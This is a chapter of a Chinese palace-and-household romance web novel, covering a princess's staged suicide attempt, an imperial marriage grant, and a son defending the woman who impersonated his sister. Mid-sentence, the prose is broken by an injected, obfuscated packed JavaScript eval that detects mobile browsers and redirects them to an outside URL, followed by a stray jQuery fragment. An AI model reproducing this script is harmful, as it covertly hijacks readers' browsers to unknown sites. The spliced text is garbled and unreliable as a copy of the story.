御书房内龙涎香烬,更漏将残。
国事繁重,案头奏章堆积如山,朱批未竟的折子散乱陈列,墨迹犹新。
景明帝眉间的皱纹深深凹陷,像错落无序的山川沟壑,无法轻易抹平。
孑于和周边小国虎视眈眈,似有联合之意,边疆军队整备,也许一场硬战在所难免。
高公公照例捧盘过眉,向他呈上今晚侍寝的绿头牌:“恭请万岁爷示下,今儿个该哪位娘娘侍寝?”
恰巧景明帝翻开高坤递上的奏疏,他紧锁的眉头有了几分波动,眼眸微眯,将奏疏上的字来回逡视两圈,将奏疏扔到高公公举着的木盘上:“如贵妃吧,朕有一桩喜事要告诉她。”
“是,陛下。”高公公恭敬地将奏疏放在桌案一旁,复又端着银盘退出御书房。
如贵妃待高公公一向不薄,又盛宠优渥,他自然小心关切,他吩咐他的干儿子传信,“去先告知如贵妃一声,今晚圣上御驾,似有高府的喜事说与她。”
这方刚得了吩咐,另一个小太监慌慌张张地向他跑来,他低声喝道:“这是哪个寝殿的奴才,如此没个分寸,也不怕惊扰了圣驾,快!拖下去,好好教教他规矩。”
“好像是如贵妃宫里的人。”
“慢着。”高公公呵声止住,怕扰了圣上清净,引着小太监走至一旁,“何事?如此慌慌张张——”
“公主誓死要嫁高峻,悬梁自缢了!”小太监跑得气喘吁吁,仍记得贵妃叮嘱,张口直言。
“什么?!”哪怕跟在景明帝身侧,见惯朝堂浮沉的他,都瞬时慌了,他催促道,“还不快去请太医!”说着便颤巍巍推开御书房的门,“圣上,您快去兰香殿看看吧...”
待景明帝一行匆匆赶到时,太医已为李玥看诊号脉,施完针了。
李玥躺在床上,脸色惨白,眼角的泪痕将脸上的胭脂色晕开,云鬓蓬松零乱,几缕青丝狼狈地贴在脸上,脖颈之上还有着一圈圈红痕。
但若细看,便知上吊自缢的痕迹多在下颌与脖颈相接处,可她的红痕却正当当的在脖颈正中。
如贵妃也没想到,平日温顺的女儿如今倔得像块顽石,只得狠心演一出戏,让太医配合让她哑声几刻,希望能得皇上一丝垂帘。
圣驾到时,太监宫女跪了一地,小声哭泣。
景明帝大步跨入内,见到躺在床上的李玥,心霎时软了:“傻孩子,你同父皇开口,父皇岂会不答应你,何必至此。”
李玥忽闪着睫毛,唇瓣开合,却吐不出一个字,憋得眼睛通红。
景明帝看向一旁的太医,怒道:“公主如何?朕养你们这群人有何用。”
太医伏跪在地:“陛下息怒,公主受了惊,气滞血瘀,当下只怕是急火攻心,肺腑不通,臣已经为公主下针,着人去煎药了,只需静养几日,公主定会有所好转。”
他虽应着陪贵妃演这一出戏,但万万不敢欺君,他所言不假,李玥想告诉父皇这一切都是母亲的安排,但却如何都说不出口,手脚又被束缚住,旁人只道是怕她在寻短见,但如贵妃一等却心知肚明,只是怕她胡来,打乱了他们的计划罢了,可不就是急火攻心。
景明帝坐在一旁,慈爱地握住她的手:“玥儿莫急,你的婚事朕已有安排。”他让高公公呈上高坤的奏疏。
如贵妃竖起耳朵,但低垂着眼,不敢僭越。
他将奏疏展开,亲自悬在李玥眼前:“哪怕是你不提,高家请朕赐婚的奏表,今晨也送到了御书房,既然你们两情相悦,朕自是不会做这个恶人,宫里也很久没有喜事了。”
李玥眼眸中的泪泫然而下,泪珠儿扑簌簌地滚落,笑涡生靥。
如贵妃放心地轻呼出一口气,终是不枉费她一番折腾。
与宫内的喜气不同,整个晋王府看似风平浪静,实则却像暴风雨来临前的最后一丝静谧。
铅灰色的暗云滚滚压卷,山雨欲来。
惊云收押待审,谢珩回左衙处理了这几日的公务后,才赶回王府。
他前脚踏进门槛,等他数日的家仆,像窜天猴般蹦起,急匆匆去给李立雯报信:“少爷回府了!”
他回府后第一时间去给母亲报平安,李立雯早已恭候他多时,她遣去身旁的家仆,直接同他摊牌道:“我已知道府里的那个姑娘不是我的瑾儿。”
谢珩面容肃正,并不惊讶,这几日外出,他思考过母亲下药的诸多可能,这也在其一。
他撩袍跪于地上:“此事皆因我所起,还请母亲责罚,我因祖母病重,才出此下策,以重金聘沈昭入府假扮怀瑾,但她并非有意欺瞒,一切只是依着我的安排行事。”
好啊,是她教出的好儿子,事到如今,还在袒护她。
她端坐于主位之上,发髻上的金步摇纹丝不动,仍保持着风度,可垂珠却在她额前投下森冷阴影,覆在倒竖的细眉之上:“那你对她动情,亦是在你计划之内,还是被她玩弄于股掌之中?”
他跪在青砖上的膝盖微动,从喉间挤出几个字:“母亲明鉴,是我对她有情在先,她自入府以后,从未对我有任何逾矩行为,府里上上下下的人皆可为她作证。”
李立雯声音不由得高了几分,语气里带了一丝笃定:“哪怕她失了身子,并非清白,你还能说出此话么。”
“是,”谢珩毫不犹豫说出,“我钟情于她,自不会在意她的身份、家世,和母亲口中所言,也不会让她受到任何伤害。”
“你...”檀木桌案被她的广袖扫过,杯盏怦然坠地,碎瓷四溅,她被谢珩气得一句话都说不出。
谢珩垂首,静跪于一侧,身姿却挺拔如松,岿然不动。
半晌,李立雯揉着太阳穴不住叹气,眼底的怒气渐歇,霎时间苍老了许多:“罢了,你们年轻气盛,你房里一直没有陪侍,只是一时图个新鲜罢了,倒也怪不得你,只是如今长安城中所有人皆知她是你妹妹,若她没有这层身份,还可留在你身边当个宠妾。”
谢珩反驳:“我尚未娶妻,何来纳妾一说,我自不会让她自降身份当个妾室。”
“你的礼义廉耻都用在何处了!你知不知道你是谁?”李立雯怒击桌案起身,质问他。
总归话已说尽,母亲断不会将沈昭留在府中,何况他再也寻不回谢怀瑾了,他直言说道:“母亲,既然事情因我而起,我会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816804|171504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自请认错,还她本来的身份,至于怀瑾...”
他犹豫再三,他斟酌过后,不忍心将她的死讯合盘说出,只得缄默不言。
李立雯始终想不明白,她半生心血尽付于他,谢珩倒也争气,长成剑眉星目的俊逸模样——书院的夫子赞他文堪咏絮,武场教头称他百步穿杨,就连节度使大人入府作客时,也要叹一句:谢家公子芝兰玉树,冠绝长安。
其他孩童皆嬉闹于花荫,斗草掷果时,唯独他将自己关在书房或者武场。
一呆便是一天,甚至忘了吃饭喝水,哪怕府里家丁劝他休息片刻,他都直言拒绝。
偏是这般省心的孩子,如今竟敢...欺瞒于她,甚至不惜顶撞她。
虽然已经提前安排下人避退,但他们两人的争吵仍在府中传开了。
夏安惯爱凑热闹,这次听着听着却变了脸色,她嘴里的怡糖瞬间不甜了,匆忙往后院跑,大声道:“小姐,小姐出事了!”
但李立雯毕竟只有谢珩一个儿子,天大的事都好商量,岂能因为一介女流凭白多生了嫌隙,念他从未经过男女之事,不过是初尝到了点儿甜头。
她放缓了身段,语气亦渐渐平稳,劝道:“珩儿,此事暂且压下,先别让你祖母知晓,她身子刚好,容不得你们再气她一次了。”
“母亲,我意已决,无需多言。”谢珩郑重地跪拜后,起身离开。
院中虽然无人敢靠近,但走出这院子,游廊、水榭、附近的竹林都挤满了人,见谢珩踱步而来,她们作鸟兽状四散。
谢珩则直接带着杨方去了沈昭的后院。
方才夏安来报时,沈昭还在摆弄院中的花草,拿着花剪修剪枝丫,听到谢珩同母亲大吵后,她稍一疏忽,斜斜剪去了指甲的一角。
夏安上前扶住她的手:“小姐,可有伤到?”
沈昭放下花剪,手无力地垂于身侧,辞别似的叹道:“无事,以后不用叫我小姐了。”
纸终究保不住火,在李立雯设计她和高义信的那晚,她本该猜到会有这一日。
只是未曾料到竟这般快。
话语间,谢珩同杨方已至院内,他吩咐道:“春宁夏安,去帮你家小姐收拾行李。”
两人连声应下,眼前的人哪怕不是小姐,这几月的相处却待她们亲如姐妹,从未苛责过她们,连句重话都不曾说,她们心中虽不舍这段快活日子,但不敢忤逆主家吩咐,转头进了屋。
还不等沈昭问出口,谢珩直直走向她,与母亲刚争执过后,他的眉宇间犹带三分冷意,却在看见她的一瞬,化作一片温融春水。
“跟我走。”
他不由分说地牵起她的手,指节擦过她刚刚剪下的那一小块残缺,捏住她欲缩回的指尖。
日光落在那片残缺的指甲上,像上好的杯盏被碰缺了个口。
他指腹轻轻抚过那道弧线,粗粝的茧子蹭的她掌心发痒。
方才在厅堂里剑拔弩张的气势,此刻全化作了拇指小心翼翼的摩挲。
沈昭眼眶倏地发热,缺了的指节被他的温度紧紧包裹,青石板上两道影子相依,她残缺的指尖抵在他深深的掌纹里。